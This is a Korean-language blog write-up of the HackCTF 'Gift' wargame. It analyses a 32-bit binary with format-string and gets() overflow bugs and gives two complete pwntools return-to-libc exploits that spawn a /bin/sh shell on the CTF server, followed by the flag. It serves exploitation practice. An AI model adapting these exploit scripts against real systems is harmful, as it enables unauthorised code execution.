[문제]

[풀이]
보호 기법 확인

- 32bit 바이너리
- relro 없음
- 카나리 없음
- nx bit 존재
- pie 없음
바이너리 실행

- 특정 주소 값 2개를 출력해줌
- 0x8049940은 동일한 것으로 보아 bss 영역에 저장된 변수임을 알 수 있음
- 사용자의 입력을 2번 받는데, 1번은 입력 값을 동일하게 출력하고, 1번은 단순히 입력만 받고 바이너리 종료
소스코드 분석
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+0h] [ebp-84h]@1
alarm(0x3Cu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
printf("Hey guyssssssssss here you are: %p %p\\n", &binsh, &system);
fgets(&s, 128, stdin);
printf(&s);
gets(&s);
return 0;
}
main 함수
- 처음 출력해주는 주소가 binsh와 system임을 알 수 있음
- binsh는 bss 영역에 저장되어 있어 주소 값이 변하지 않음
- system 함수는 실제 system 주소로 ASLR로 매번 주소가 바뀜
- 1번째 입력에서는 s라는 버퍼에 128바이트만큼 입력 받고, 그대로 출력 → FSB 취약점 발생
- 2번째 입력에서는 단순히 gets 함수로 사용자의 입력을 받음 → BOF 취약점 발생
GDB 정적분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x0804838c _init
0x080483c0 printf@plt
0x080483d0 gets@plt
0x080483e0 fgets@plt
0x080483f0 alarm@plt
0x08048400 __libc_start_main@plt
0x08048410 setvbuf@plt
0x08048420 __gmon_start__@plt
0x08048430 _start
0x08048470 _dl_relocate_static_pie
0x08048480 __x86.get_pc_thunk.bx
0x08048490 deregister_tm_clones
0x080484d0 register_tm_clones
0x08048510 __do_global_dtors_aux
0x08048540 frame_dummy
0x08048546 main
0x08048610 __libc_csu_init
0x08048670 __libc_csu_fini
0x08048674 _fini
- main: 0x08048546
GDB 정적분석 - 변수
pwndbg> info variables
All defined variables:
Non-debugging symbols:
0x08048688 _fp_hw
0x0804868c _IO_stdin_used
0x080486b8 __GNU_EH_FRAME_HDR
0x080487dc __FRAME_END__
0x080497e0 __frame_dummy_init_array_entry
0x080497e0 __init_array_start
0x080497e4 __do_global_dtors_aux_fini_array_entry
0x080497e4 __init_array_end
0x080497e8 _DYNAMIC
0x080498e4 _GLOBAL_OFFSET_TABLE_
0x08049908 __data_start
0x08049908 data_start
0x0804990c __dso_handle
0x08049910 __TMC_END__
0x08049910 __bss_start
0x08049910 _edata
0x08049920 completed
0x08049940 binsh
0x080499a4 _end
- binsh: 0x08049940

- binsh에는 아무런 값도 존재하지 않아 system(”/bin/sh”)의 형태로 이용할 수 없음 → “/bin/sh”문자열을 저장해줘야 함!
GDB 정적분석 - main 함수
pwndbg> disass main
Dump of assembler code for function main:
0x08048546 <+0>: push ebp
0x08048547 <+1>: mov ebp,esp
0x08048549 <+3>: push ebx
0x0804854a <+4>: add esp,0xffffff80
0x0804854d <+7>: call 0x8048480 <__x86.get_pc_thunk.bx>
0x08048552 <+12>: add ebx,0x1392
0x08048558 <+18>: push 0x3c
0x0804855a <+20>: call 0x80483f0 <alarm@plt>
0x0804855f <+25>: add esp,0x4
0x08048562 <+28>: mov eax,DWORD PTR [ebx-0x4]
0x08048568 <+34>: mov eax,DWORD PTR [eax]
0x0804856a <+36>: push 0x0
0x0804856c <+38>: push 0x2
0x0804856e <+40>: push 0x0
0x08048570 <+42>: push eax
0x08048571 <+43>: call 0x8048410 <setvbuf@plt>
0x08048576 <+48>: add esp,0x10
0x08048579 <+51>: mov eax,DWORD PTR [ebx-0x8]
0x0804857f <+57>: mov eax,DWORD PTR [eax]
0x08048581 <+59>: push 0x0
0x08048583 <+61>: push 0x2
0x08048585 <+63>: push 0x0
0x08048587 <+65>: push eax
0x08048588 <+66>: call 0x8048410 <setvbuf@plt>
0x0804858d <+71>: add esp,0x10
0x08048590 <+74>: mov eax,DWORD PTR [ebx-0x14]
0x08048596 <+80>: mov eax,DWORD PTR [eax]
0x08048598 <+82>: push 0x0
0x0804859a <+84>: push 0x2
0x0804859c <+86>: push 0x0
0x0804859e <+88>: push eax
0x0804859f <+89>: call 0x8048410 <setvbuf@plt>
0x080485a4 <+94>: add esp,0x10
0x080485a7 <+97>: mov eax,DWORD PTR [ebx-0x10]
0x080485ad <+103>: push eax
0x080485ae <+104>: mov eax,0x8049940
0x080485b4 <+110>: push eax
0x080485b5 <+111>: lea eax,[ebx-0x1254]
0x080485bb <+117>: push eax
0x080485bc <+118>: call 0x80483c0 <printf@plt>
0x080485c1 <+123>: add esp,0xc
0x080485c4 <+126>: mov eax,DWORD PTR [ebx-0x8]
0x080485ca <+132>: mov eax,DWORD PTR [eax]
0x080485cc <+134>: push eax
0x080485cd <+135>: push 0x80
0x080485d2 <+140>: lea eax,[ebp-0x84]
0x080485d8 <+146>: push eax
0x080485d9 <+147>: call 0x80483e0 <fgets@plt>
0x080485de <+152>: add esp,0xc
0x080485e1 <+155>: lea eax,[ebp-0x84]
0x080485e7 <+161>: push eax
0x080485e8 <+162>: call 0x80483c0 <printf@plt>
0x080485ed <+167>: add esp,0x4
0x080485f0 <+170>: lea eax,[ebp-0x84]
0x080485f6 <+176>: push eax
0x080485f7 <+177>: call 0x80483d0 <gets@plt>
0x080485fc <+182>: add esp,0x4
0x080485ff <+185>: mov eax,0x0
0x08048604 <+190>: mov ebx,DWORD PTR [ebp-0x4]
0x08048607 <+193>: leave
0x08048608 <+194>: ret
End of assembler dump.
- 입력 값은 모두 ebp-0x84에 저장됨
- → ret까지의 offset은 0x88(136)임을 알 수 있음
Gadget 찾기 - gets 함수의 인자 빼기
ROPgadget --binary=./gift | grep ret

문제 해결
💡 방법1) libc-database로 libc_base 찾아 직접 실제 주소 구해 기본 RTL 진행
방법2) get(”/bin/sh”)로 binsh 주소에 /bin/sh를 넣은 후 RTL 진행
방법1

- libc_base를 찾기 위해 system 함수의 offset 확인 → 0x940이 고정됨을 알 수 있음
- 리눅스에 libc-database 설치하기
https://plump-streetcar-a98.notion.site/libc-database-4e31944ec9224a32a758436cfc75cfca
? libc_base를 찾을 수 없음 → offset이 안나온다!
- 엥.. 또 나온다..?


→ 누군가가 찾아둔 것으로 시도!
Exploit - Pwntools
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./gift')
gets = e.plt['gets']
gadget = 0x0804866b
system_offset = 0x0003a940
binsh_offset = 0x15902b
p.recvuntil(': ')
binsh_address = int(p.recv(10),16)
system_address = int(p.recv(10),16)
p.sendline('a'*4)
libc_base = system_address - system_offset
binsh_real = libc_base + binsh_offset
payload = "A"*136
payload += p32(system_address)
payload += "b"*4
payload += p32(binsh_real)
p.sendline(payload)
p.interactive()
방법2
Exploit - Pwntools
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./gift')
gets = e.plt['gets']
gadget = 0x0804866b
p.recvuntil(': ')
binsh = int(p.recv(10),16)
system = int(p.recv(10),16)
p.sendline('a'*4)
payload = "A"*136
payload += p32(gets)
payload += p32(gadget) #인자 빼기
payload += p32(binsh) #return address
payload += p32(system) #인자
payload += "b"*4 #return address 없으므로 dummy
payload += p32(binsh) #system 함수의 인자 -> binsh의 주소 주기
p.sendline(payload)
p.send("/bin/sh\\x00") #gets 함수 인자로 /bin/sh주기
p.interactive()

flag
🍒 HackCTF{플래그_잘_받았지?_이게_내_선물이야!}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] 1996 (0) | 2022.10.30 |
---|---|
[HackCTF] Random key (0) | 2022.10.30 |
[HackCTF] RTL_Core (0) | 2022.10.30 |
[HackCTF] Beginner_Heap (0) | 2022.10.30 |
[HackCTF] Look at me (0) | 2022.10.30 |